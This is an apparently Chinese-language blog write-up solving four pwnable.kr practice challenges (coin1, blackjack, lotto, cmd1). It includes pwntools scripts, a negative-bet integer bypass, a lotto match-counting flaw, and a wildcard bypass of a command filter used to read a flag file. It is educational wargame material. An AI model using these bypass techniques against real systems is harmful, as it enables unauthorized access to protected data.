pwnable.kr [Toddler's Bottle III]

Albert Huang MED student | CS enthusiast

coin1

連到機器之後來看一下檔案內容:

1
2
3
4
coin1@ubuntu:~$ ls
readme
coin1@ubuntu:~$ cat readme
nc 0 9007 to get flag!

這題沒有給檔案,而是直接用 nc 連線解題,連過去看一下題目內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
coin1@ubuntu:~$ nc 0 9007

---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward :)
FYI, you have 60 seconds.

- How to play -
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

- Example -
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

- Ready? starting in 3 sec... -

簡單來說就是一個要在指定輪數 C 內找到藏在 N 個硬幣(一般重量:10)中的假幣(重量:9),而我們可以有 C 次機會向 server 詢問某些 index 的硬幣重量加起來是多少,總共有 100 回合的遊戲,並必須在 60 秒內完成。

找尋這個硬幣最快的方法就是使用二分搜尋法:一次搜尋先前硬幣量的一半,並且找到尾數為 9 的那堆硬幣,再繼續重複搜尋直到剩下的硬幣為一,那枚硬幣就是假幣。

用這個方法可以發現 C 是多少其實不重要,因為二分搜是時間複雜度最低 的方法,因此他一定會提供足夠的 C 來進行題目,但他要執行 C 次之後才會進行答案驗證,因此還是需要將 C 放進程式中跑完再送出答案。

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

r = remote('localhost', 9007)
r.recv()

for i in range(100):
res = r.recvline().strip().decode()
N = int(res.split(' ')[0].split('=')[1])
C = int(res.split(' ')[1].split('=')[1])
left, right = 0, N-1
while left < right:
mid = (left + right) // 2
payload = b" ".join([str(j).encode() for j in range(left, mid+1)])
r.sendline(payload)

ans = int(r.recvline().strip())
if ans % 10 == 0: # counterfeit on the right
left = mid + 1
else:
right = mid
C -= 1

for _ in range(C): # non sense
r.sendline(b'0')
r.recvline()

r.sendline(str(left).encode())
print(r.recvline())

r.interactive()

因為用 ssh 轉送 port 到本機速度太慢了,沒辦法在 60 秒內完成,因此直接在機器上面執行:

1
2
3
4
5
6
7
8
9
10
11
12
coin1@ubuntu:~$ cd /tmp
coin1@ubuntu:/tmp$ mkdir m3t30r
coin1@ubuntu:/tmp$ cd m3t30r
coin1@ubuntu:/tmp/m3t30r$ vim exploit.py
coin1@ubuntu:/tmp/m3t30r$ python3 exploit.py
[+] Opening connection to localhost on port 9007: Done
b'Correct! (0)\n'
...
b'Correct! (99)\n'
[*] Switching to interactive mode
Congrats! get your flag
[REDACTED]

blackjack

連到機器之後,來看一下檔案內容:

1
2
3
4
blackjack@ubuntu:~$ ls
blackjack blackjack.c readme
blackjack@ubuntu:~$ cat readme
once you connect to port 9009, the "blackjack" binary will be executed under asm_pwn privilege. get flag.

要使用 9009 port 來解題拿 flag,執行一下看一下規則:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
           RULES of VLAD's BLACKJACK
---------------------------
I.
Thou shalt not question the odds of this game.
S This program generates cards at random.
D If you keep losing, you are very unlucky!

II.
Each card has a value.
S Number cards 1 to 10 hold a value of their number.
D J, Q, and K cards hold a value of 10.
C Ace cards hold a value of 11
The goal of this game is to reach a card value total of 21.

III.
After the dealing of the first two cards, YOU must decide whether to HIT or STAY.
S Staying will keep you safe, hitting will add a card.
Because you are competing against the dealer, you must beat his hand.
BUT BEWARE!.
D If your total goes over 21, you will LOSE!.
But the world is not over, because you can always play again.

SHC YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM CHS

看起來就是個一般的 21 點遊戲。先來看一下 blackjack.c,但因為內容過多,我們先來看印出 flag 的條件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void cash_test() //Test for if user has cash remaining in purse
{
if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
{
printf("You Are Bankrupt. Game Over");
cash = 500;
askover();
}
if (cash > 1000000){
FILE* fp=fopen("flag", "r");
char buf[100];
memset(buf, 0, 100);
fread(buf, 1, 100, fp);
printf("%s\n", buf);
fclose(fp);
}
} // End Function

簡單明瞭,就是 cash > 1000000,因此我們接下來的目標就是觀察如何影響 cash 的值。首先先觀察一下有呼叫到 cash_test 的 play 函數內容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void play() //Plays game
{

int p=0; // holds value of player_total
int i=1; // counter for asking user to hold or stay (aka game turns)
char choice3;

cash = cash;
cash_test();
printf("\nCash: $%d\n",cash); //Prints amount of cash user has
randcard(); //Generates random card
player_total = p + l; //Computes player total
p = player_total;
printf("\nYour Total is %d\n", p); //Prints player total
dealer(); //Computes and prints dealer total
betting(); //Prompts user to enter bet amount
...

他一開始會先呼叫 cash_test 來計算使用者的財產和是否要印出 flag,而我們可以輸入值的位置位於 betting 函式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function

可以看到,他第一次如果賭了超過原有的 cash 值,會要求重新輸入,但第二次則完全沒有檢查就直接 return bet。這表示我們可以先輸入一個超大的值,觸發 if 條件式之後,就可以繞過這個限制。

接下來看 play 函數怎麼處理這個回傳值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
...
while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
// because there is a chance user can generate twenty-one consecutive 1's
{
if(p==21) //If user total is 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}

if(p>21) //If player total is over 21, loss
{
printf("\nWoah Buddy, You Went WAY over.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(p<=21) //If player total is less than 21, ask to hit or stay
{
printf("\n\nWould You Like to Hit or Stay?");

scanf("%c", &choice3);
while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
{
printf("\n");
printf("Please Enter H to Hit or S to Stay.\n");
scanf("%c",&choice3);
}

if((choice3=='H') || (choice3=='h')) // If Hit, continues
{
randcard();
player_total = p + l;
p = player_total;
printf("\nYour Total is %d\n", p);
dealer();
if(dealer_total==21) //Is dealer total is 21, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}

if(dealer_total>21) //If dealer total is over 21, win
{
printf("\nDealer Has Went Over!. You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
...

可以發現無論什麼情況,在輸掉(蠻簡單的,只要在小點數時 Stay 就高機率會輸,因為莊家很容易比小點數更大)時程式都會執行 cash = cash - bet,而 bet 就是我們剛剛的回傳值,因此可以在第二次輸入時,輸入一個很小的負數,這樣最後在計算 cash 時就會變成很大的數字,達到印出 flag 的要求。

最後來看一下 askover:

1
2
3
4
5
6
7
8
9
10
void askover() // Function for asking player if they want to play again
{
...
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
{
printf("\033[2J\033[1;1H");
play();
}
...
} // End function

輸掉之後會詢問是否還要 play again,若選擇 Y 會再次執行 play 函數,就會執行到 cash_test,此時我們的 cash 數值已經足夠,即可獲得 flag。

直接如上述條件輸入就可以獲得 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
blackjack@ubuntu:~$ nc 0 9009
...

Are You Ready?
----------------
(Y/N)
Y

Enter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1

Cash: $500
-------
|C |
| 8 |
| C|
-------

Your Total is 8

The Dealer Has a Total of 7

Enter Bet: $99999999

You cannot bet more money than you have.
Enter Bet: -99999999


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
S

You Have Chosen to Stay at 8. Wise Decision!

The Dealer Has a Total of 13
The Dealer Has a Total of 19
Dealer Has the Better Hand. You Lose.

You have 0 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
Y
[REDACTED]

lotto

連到機器之後來看一下檔案內容:

1
2
3
4
lotto@ubuntu:~$ ls
flag lotto lotto.c
lotto@ubuntu:~$ cat flag
cat: flag: Permission denied

沒有權限,來看一下 lotto.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

這題有個蠻明顯的漏洞,位於判斷 lotto 與輸入是否相同的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

若不考慮使用者輸入的順序,應先將輸入與樂透號碼排序後,再逐一比較對應位置的數值是否相同,而非以雙層迴圈累計所有匹配次數,如下所示:

1
2
3
4
5
6
7
8
9
sort(lotto, lotto+6);
sort(submit, submit+6);
// calculate lotto score
int match = 0;
for(i=0; i<6; i++){
if(lotto[i] == submit[i]){
match++;
}
}

使用錯誤的雙層迴圈,會讓每一個樂透號碼與我們的每一個輸入都做一次比對,因此我們假設輸入六個相同的數字,只要開獎的任何一個數字與我們的輸入相符,就會讓 match = 6,成功拿到 flag。

以機率來計算:

  • 作者正常理想狀態:從 45 個數字中選出 6 個做為樂透數字,完全相符則中獎 mathematical chance to win this game is known to be 1/8145060.
  • 漏洞狀態:開出 6 個數字中至少有一個數字與完全相同的六個輸入相符即可,且錯誤實作成樂透號碼有機率可重複

可以發現機率高了不少,因此理論上至多執行 8 次就可以獲得 flag。

來用 Python 試試看(注意需要輸入 bytes):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222)
p = sh.process('./lotto')

for i in range(10):
print(i)
p.recv()
p.sendline(b'1')
p.recv()
p.sendline(b'\x01\x01\x01\x01\x01\x01') # 1 1 1 1 1 1
p.recvline()
res = p.recvline()
if b'bad' not in res:
print(res)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 test.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] lotto@pwnable.kr:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Starting remote process None on pwnable.kr: pid 3467630
[!] ASLR is disabled for '/home/lotto/lotto'!
0
1
[REDACTED]

cmd1

連到機器後來看一下檔案內容:

1
2
3
4
cmd1@ubuntu:~$ ls
cmd1 cmd1.c flag
cmd1@ubuntu:~$ cat flag
cat: flag: Permission denied

一樣沒有權限,來看一下 cmd1.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}

首先,他將環境變數 PATH 設為一個不存在的根目錄位址,而原本的 PATH 通常是指向 /bin 等資料夾,讓使用者可以使用相對路徑來呼叫如 echo、cat、ls 等指令。因此若指向不存在的根目錄,我們就不能直接利用相對路徑使用這些指令。

但是,如果我們直接使用絕對路徑,如 /bin/cat 來呼叫指令,就不會需要使用到 PATH 環境變數,也就可以直接在 system 中執行。

而 filter 函數則是限制我們的 payload 中不能出現 flag、sh 與 tmp 這三個字,不過這個部分可以使用萬用字元 * 來繞過,因此我們事實上可以直接執行 cat flag,如下所示:

1
2
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
[REDACTED]
  • Title: pwnable.kr [Toddler's Bottle III]
  • Author: Albert Huang
  • Created at : 2026-09-08 20:44:58
  • Updated at : 2026-09-09 21:35:05
  • Link: https://blog.albert-web.tw/2026/09/08/pwnable-kr-writeup-3/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
pwnable.kr [Toddler's Bottle III]